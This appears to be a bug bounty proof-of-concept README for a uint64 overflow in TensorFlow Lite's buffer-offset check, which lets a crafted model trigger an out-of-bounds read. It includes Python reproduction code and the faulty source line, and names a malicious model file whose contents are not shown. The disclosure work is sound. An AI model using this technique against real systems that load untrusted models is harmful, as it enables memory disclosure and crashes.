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TFLite Buffer.offset uint64 Integer Overflow → OOB Read PoC
Target: TensorFlow Lite (Google)
Vulnerability: interpreter_builder.cc:671 — unchecked uint64_t addition
Impact: Out-of-bounds read; confirmed OOB pointer dereference (4 bytes before mmap base)
Bounty: Huntr Model Format Vulnerability Program
Files
evil_buffer_offset_overflow.tflite— malicious model triggering the vulnerabilitybuild_poc.py— script to rebuild the PoC
Reproduction
import tensorflow as tf, numpy as np, warnings
warnings.filterwarnings('ignore')
interp = tf.lite.Interpreter(
model_path='evil_buffer_offset_overflow.tflite',
experimental_op_resolver_type=tf.lite.experimental.OpResolverType.BUILTIN_WITHOUT_DEFAULT_DELEGATES
)
interp.allocate_tensors()
arr = interp.tensor(1)()
ptr = arr.ctypes.data
mmap_base = (ptr - 0xFFFFFFFFFFFFFFFC) % (2**64)
print(f"OOB confirmed: tensor ptr 0x{ptr:X} is {mmap_base - ptr} bytes before mmap base 0x{mmap_base:X}")
Root Cause
tensorflow/lite/core/interpreter_builder.cc:671:
if (offset + buffer->size() > allocation_->bytes()) // ← uint64 overflow, no check
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